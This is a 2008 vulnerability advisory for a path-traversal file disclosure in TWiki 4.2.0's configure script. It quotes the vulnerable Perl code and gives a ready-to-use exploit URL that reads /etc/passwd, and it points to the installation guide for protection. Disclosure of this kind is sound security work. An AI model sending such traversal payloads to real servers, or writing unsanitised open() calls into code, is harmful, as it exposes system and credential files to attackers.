TWiki 4.2.0 (configure) Remote File Disclosure Vulnerability

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#                                 TWiki 4.2.0 File Disclosure Vuln (configure)                                 #
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	"We're brazilian newbies!!! :p" - Th1nk3r

Info
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Classe    :  Input Validation Error 
Remote    :  Yes
Local     :  No
Date      :  05/08/2008
Credits   :  Th1nk3r  (cnwfhguohrugbo / gmail.com)
Greetz    :  w4n73d h4ck3r, Vitor, Vonnatur, FuradordeSyS, B470-Killer, M4v3rick.

Description
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	TWiki version 4.2.0 (I haven't tested other versions) is vulnerable to a File Disclosure. It's only possible
to exploit the bug if you can access the "/bin/configure" script.
Otherwise, you can not exploit this bug.
	Vulnerable code of "/bin/configure" script:

	if( $action eq 'image' ) {
    		# SMELL: this call is correct, but causes a perl error
    		# on some versions of CGI.pm
    		# print $query->header(-type => $query->param('type'));
    		# So use this instead:
    		print 'Content-type: '.$query->param('type')."\n\n";
    	if( open(F, 'logos/'.$query->param('image' ))) {
        	local $/ = undef;
        	print <F>;
        	close(F);
    	}
    	exit 0;
}

	The bug is in the open() function. The file is set by visitor, and there is no protection added
by the programmer.
	Note that "$query->param('type')" can be set by the visitor. Therefore, you'll set it to "text/plain".



Exploit
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	To exploit the bug, you just need set the "image" variable to the path of file you wish to view. 
	The file will be revealed if you have permission to view it.
	
	By example, to show the "/etc/passwd" file content, go to :
	http://www.examplo.org/{PATH}/bin/configure?action=image;image=../../../../../../etc/passwd;type=text/plain



Solution
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	Read "http://twiki.org/cgi-bin/view/TWiki/TWikiInstallationGuide", Basic Installation, topic 8, for 
more information of how to protect your "configure" script.